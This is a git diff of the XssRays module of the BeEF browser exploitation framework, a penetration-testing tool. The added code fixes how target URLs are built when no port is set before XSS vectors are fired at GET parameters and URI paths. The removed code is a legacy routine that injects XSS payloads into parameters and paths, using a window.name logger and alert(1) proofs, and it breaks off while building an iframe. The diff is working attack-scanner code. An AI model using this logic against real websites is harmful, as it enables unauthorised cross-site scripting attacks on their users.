diff --git a/core/main/client/net/xssrays.js b/core/main/client/net/xssrays.js index 3ab065012..5f28968b7 100644 --- a/core/main/client/net/xssrays.js +++ b/core/main/client/net/xssrays.js @@ -171,13 +171,24 @@ beef.net.xssrays = { if (!this.vectors[i].url) { continue; } + if (this.vectors[i].url) { - console.log("starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], params, true);//params + if(target.port == null || target.port == ""){ + console.log("starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); + this.temp_run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], params, true);//params + }else{ + console.log("starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' +target.port + target.pathname + "]"); + this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], params, true);//params + } } if (this.vectors[i].path) { - console.log("starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); - this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], null, true);//paths + if(target.port == null || target.port == ""){ + console.log("starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]"); + this.temp_run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], null, true);//paths + }else{ + console.log("starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' +target.port + target.pathname + "]"); + this.temp_run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], null, true);//paths + } } } } @@ -363,144 +374,144 @@ beef.net.xssrays = { }); }, - // old mechanisms...not called anymore in the code...see instead "temp_run" - run: function(url, method, vector, params, urlencode, excludeList) { - this.stack.push(function() { - if (excludeList) { - excludeList = new RegExp(excludeList.join('|'), 'i'); - } else { - excludeList = new RegExp(); - } - var self = this; - beef.net.xssrays.uniqueID++; - console.log('[XssRays] Processing vector [' + vector.name + "], URL [" + url + "]"); - var poc = url; - var exploit = ''; - - var logger = 'location=window.name'; - - beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params}; - if (params == null) { - console.log("[XssRays] NULL params"); - var filename = beef.net.xssrays.fileName(url); - exploit = vector.input.replace(/XSS/g, logger); - url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/'); - exploit = vector.input.replace(/XSS/g, 'alert(1)'); - poc = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/'); - } else if (method === 'GET') { - console.log("[XssRays] params [" + params.toString() + "]"); - url = beef.net.xssrays.fileName(url); - poc = url; - if (!/[?]/.test(url)) { - url += '?'; - poc += '?' - } - var paramsPos = 0; - for (var i in params) { - if (params.hasOwnProperty(i)) { - if (excludeList.test(i)) { - url += i + '=' + (urlencode ? encodeURIComponent(params[i]) : params[i]) + '&'; - poc += i + '=' + (urlencode ? encodeURIComponent(params[i]) : params[i]) + '&'; - continue; - } - - if (paramsPos % 2 == 1 && vector.input2) { - exploit = vector.input2.replace(/XSS/g, logger); - } else { - exploit = vector.input.replace(/XSS/g, logger); - } - url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&'; - if (paramsPos % 2 == 1 && vector.input2) { - exploit = vector.input2.replace(/XSS/g, 'alert(1)'); - } else { - exploit = vector.input.replace(/XSS/g, 'alert(1)'); - } - poc += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&'; - paramsPos++; - } - } - } - var ieLoader = "document.getElementById('" + 'ray' + beef.net.xssrays.uniqueID + "').ieonload()"; - if (beef.net.xssrays.isIE()) { - try { - var iframe = document.createElement('